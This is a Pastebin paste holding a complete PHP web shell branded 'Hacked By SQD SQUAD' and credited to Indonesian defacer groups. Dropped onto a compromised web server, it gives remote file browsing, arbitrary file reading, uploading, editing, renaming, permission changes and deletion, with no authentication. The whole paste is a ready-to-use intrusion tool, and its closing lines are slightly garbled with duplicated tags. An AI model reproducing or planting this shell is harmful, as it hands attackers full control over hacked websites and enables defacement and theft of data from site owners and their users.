Advertisement
farhanhexdigest

Untitled

Jun 20th, 2024
618
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.35 KB | None | 0 0
  1.     <?php
  2.  
  3. header("X-XSS-Protection: 0");
  4. ob_start();
  5. session_start();
  6. set_time_limit(0);
  7. ini_set("memory_limit",-1);
  8. echo '<!DOCTYPE HTML>
  9. <html>
  10. <head>
  11. <title>Hacked By SQD SQUAD</title>
  12. <meta name="robots" content="noindex,nofollow">
  13. <meta name="description" content=" Maapin Yahhhhh :v ">
  14. <link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
  15. <center>
  16. <style type="text/css">
  17. body {
  18.     font-family: Kelly Slab;
  19.     background-color: black;
  20.     color: #FF1493;
  21.     }
  22. #content tr:hover{
  23.     background-color: #;
  24.     text-shadow:0px 0px 10px #FF1493;
  25.     }
  26. #content .first{
  27.     color: #000000;
  28.     background-image:url(#);
  29.     }
  30. #content .first:hover{
  31.     background-color: #FF1493;
  32.     text-shadow:0px 0px 1px #FF1493;
  33.     }
  34. table, th, td {
  35.         border-collapse:collapse;
  36.         padding: 5px;
  37.         color: #FF1493;
  38.         }
  39. .table_home, .th_home, .td_home {
  40.         color: #FF1493;
  41.         border: 2px solid #FF1493;
  42.         padding: 7px;
  43.         }
  44. a{
  45.     font-size: 19px;
  46.     color: #FF1493;
  47.     text-decoration: none;
  48.     }
  49. a:hover{
  50.     color: #FF1493;
  51.     text-shadow:0px 0px 10px #FF1493;
  52.     }
  53. input,select,textarea{
  54.     border: 1px #FF1493 solid;
  55.     -moz-border-radius: 5px;
  56.     -webkit-border-radius:5px;
  57.     border-radius:5px;
  58.     }
  59. .close {
  60.     overflow: auto;
  61.     border: 1px solid #FF1493;
  62.     background: black;
  63.     color: #FF1493;
  64.     }
  65. .r {
  66.     float: right;
  67.     text-align: right;
  68.     }
  69. </style>
  70. <body>
  71. <center><b>- <font face="Kelly Slab" color="white" size="10">Hacked By SQD SQUAD</font> -</b></center>
  72. <table width="98%" border="0" cellpadding="0" cellspacing="0" align="left">
  73. <tr><td>';
  74. echo '<table width="98%" border="0" cellpadding="0" cellspacing="0" align="center">
  75. <tr align="center"><td align="center">';
  76. function perms($file){
  77.     $perms = fileperms($file);
  78. }
  79.  
  80. if(isset($_GET['path'])){
  81.     $path = $_GET['path'];
  82. } else {
  83.     $path = getcwd();
  84. }
  85.  
  86. $path = str_replace('\\', '/', $path);
  87. $paths = explode('/', $path);
  88.  
  89. foreach($paths as $id => $pat) {
  90.     if($pat == '' && $id == 0) {
  91.         $a = true;
  92.         echo '(+)Path: <a href="?path=/">/</a>';
  93.         continue;
  94.     }
  95.     if($pat == '') continue;
  96.     echo '<a href="?path=';
  97.     for($i = 0; $i <= $id; $i++) {
  98.         echo "$paths[$i]";
  99.         if($i != $id) echo "/";
  100.     }
  101.     echo '">'.$pat.'</a>/';
  102. }
  103.  
  104. // Upload form
  105. echo '<br><br><font color="lime">
  106. <form enctype="multipart/form-data" method="POST">
  107.    Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required/>
  108.    <input type="submit" value="UPLOAD" name="upload" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"/>
  109. </form>
  110. </font>';
  111.  
  112. // Process file upload
  113. if(isset($_POST['upload']) && isset($_FILES['file'])){
  114.     if(copy($_FILES['file']['tmp_name'], $path.'/'.$_FILES['file']['name'])){
  115.         echo '<br><br><font color="lime">UPLOAD SUCCESS !!!!</font><br/>';
  116.     } else {
  117.         echo '<script>alert("File Gagal Diupload !!")</script>';
  118.     }
  119. }
  120.  
  121. // Form to create new directory
  122. echo '<br><br>
  123. <form action="" method="POST">
  124.    New Directory Name: <input name="dirname" type="text" size="25" value="" style="width:300px; height: 30px;"/>
  125.    <input type="submit" value="Create Directory" name="create_dir" style="width:150px; height: 30px;"/>
  126. </form>';
  127.  
  128. // Process create directory
  129. if(isset($_POST['create_dir']) && isset($_POST['dirname'])){
  130.     $newDirPath = $path.'/'.$_POST['dirname'];
  131.     if(mkdir($newDirPath)){
  132.         echo '<br><br><font color="lime">DIRECTORY CREATED SUCCESSFULLY !!</font><br/>';
  133.     } else {
  134.         echo '<script>alert("Create Directory Gagal !!")</script>';
  135.     }
  136. }
  137.  
  138. if(isset($_GET['filesrc'])){
  139.     echo "<br><br>files >> ";
  140.     echo $_GET['filesrc'];
  141.     echo '<br />';
  142.     echo('<textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%; height: 1200px;" readonly>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  143. } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  144.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  145.  
  146.     // Chmod
  147.     if($_POST['opt'] == 'chmod'){
  148.         if(isset($_POST['perm'])){
  149.             if(chmod($_POST['path'], $_POST['perm'])){
  150.                 echo '<br><br><font color="lime">CHANGE PERMISSION SUCCESS !!</font><br/>';
  151.             } else {
  152.                 echo '<script>alert("Change Permission Gagal !!")</script>';
  153.             }
  154.         }
  155.         echo '<form method="POST">
  156.            Permission: <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" style="width:80px; height: 30px;"/>
  157.            <input type="hidden" name="path" value="'.$_POST['path'].'">
  158.            <input type="hidden" name="opt" value="chmod">
  159.            <input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
  160.        </form>';
  161.     }
  162.  
  163.     // Rename file
  164.     elseif($_POST['opt'] == 'rename'){
  165.         if(isset($_POST['newname'])){
  166.             if(rename($_POST['path'], $path.'/'.$_POST['newname'])){
  167.                 echo '<br><br><font color="lime">CHANGE NAME SUCCESS !!</font><br/>';
  168.             } else {
  169.                 echo '<script>alert("Change Name Gagal !!")</script>';
  170.             }
  171.             $_POST['name'] = $_POST['newname'];
  172.         }
  173.         echo '<form method="POST">
  174.            New Name: <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="'.$_POST['name'].'" />
  175.            <input type="hidden" name="path" value="'.$_POST['path'].'">
  176.            <input type="hidden" name="opt" value="rename">
  177.            <input type="submit" value="Lanjut" style="height:30px;" />
  178.        </form>';
  179.     }
  180.  
  181.     // Edit file
  182.     elseif($_POST['opt'] == 'edit'){
  183.         if(isset($_POST['src'])){
  184.             $fp = fopen($_POST['path'], 'w');
  185.             if(fwrite($fp, $_POST['src'])){
  186.                 echo '<br><br><font color="lime">EDIT FILE SUCCESS !!</font><br/>';
  187.             } else {
  188.                 echo '<script>alert("Edit File Gagal !!")</script>';
  189.             }
  190.             fclose($fp);
  191.         }
  192.         echo '<form method="POST">
  193.            <textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  194.            <input type="hidden" name="path" value="'.$_POST['path'].'">
  195.            <input type="hidden" name="opt" value="edit">
  196.            <input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
  197.        </form>';
  198.     }
  199.     echo '</center>';
  200. } else {
  201.     echo '</table><br /><center>';
  202.  
  203.     // Delete directory or file
  204.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  205.         if($_POST['type'] == 'dir'){
  206.             if(rmdir($_POST['path'])){
  207.                 echo '<br><br><font color="lime">DELETE DIR SUCCESS !!</font><br/>';
  208.             } else {
  209.                 echo '<script>alert("Delete Dir Gagal !!")</script>';
  210.             }
  211.         } elseif($_POST['type'] == 'file'){
  212.             if(unlink($_POST['path'])){
  213.                 echo '<br><br><font color="lime">DELETE FILE SUCCESS !!</font><br/>';
  214.             } else {
  215.                 echo '<script>alert("Delete File Gagal !!")</script>';
  216.             }
  217.         }
  218.     }
  219. }
  220. ?>
  221. <?php
  222. echo '</center>';
  223. $scandir = scandir($path);
  224. $pa = getcwd();
  225. echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  226. <tr class="first">
  227. <th><center>Name</center></th>
  228. <th><center>Size</center></th>
  229. <th><center>Options</center></th>
  230. </tr>
  231. <tr>';
  232.  
  233. foreach($scandir as $dir){
  234. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  235. echo "<tr>
  236. <td class=td_home><img src=''><a href=\"?path=$path/$dir\"> $dir</a></td>
  237. <td class=td_home><center>DIR</center>";
  238.  
  239. echo "</td>
  240. <td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
  241. <select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
  242. <option value=\"Action\">Action</option>
  243. <option value=\"delete\">Delete</option>
  244. <option value=\"chmod\">Chmod</option>
  245. <option value=\"rename\">Rename</option>
  246. </select>
  247. <input type=\"hidden\" name=\"type\" value=\"dir\">
  248. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  249. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  250. <input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
  251. </form></center></td>
  252. </tr>";
  253. }
  254.  
  255. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  256. foreach($scandir as $file){
  257. if(!is_file("$path/$file")) continue;
  258. $size = filesize("$path/$file")/1024;
  259. $size = round($size,3);
  260. if($size >= 1024){
  261. $size = round($size/1024,2).' MB';
  262. }else{
  263. $size = $size.' KB';
  264. }
  265. echo "<tr>
  266. <td class=td_home><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>
  267. <td class=td_home><center>".$size."</center>";
  268.  
  269.  
  270. echo "</td>
  271. <td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
  272. <select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
  273. <option value=\"Action\">Action</option>
  274. <option value=\"delete\">Delete</option>
  275. <option value=\"edit\">Edit</option>
  276. <option value=\"rename\">Rename</option>
  277. <option value=\"chmod\">Chmod</option>
  278. </select>
  279. <input type=\"hidden\" name=\"type\" value=\"file\">
  280. <input type=\"hidden\" name=\"name\" value=\"$file\">
  281. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  282. <input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
  283. </form></center></td>
  284. </tr>";
  285. }
  286. echo '</table>
  287. </div>';
  288.  
  289. echo '<center><br/>
  290. <font face="Kelly Slab" color="white" style="text-shadow:0 0 20px #00FAFF, 0 0 5px #00FAFF, 0 0 7px red, 0 0 45px #00FAFF; font-weight:bold: white; font-size:15px">2022 - 2023 Copyright Jawa Barat Blackhat || Defacer Indonesian</font>";
  291. </body>
  292. </html>
  293. <nesia
  294. </body>
  295. </html>';
  296.  
  297. ?>
  298. font-weight:bold: white; font-size:15px">Copyright &copy;2021 || Defacer Indonesia
  299. </body>
  300. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement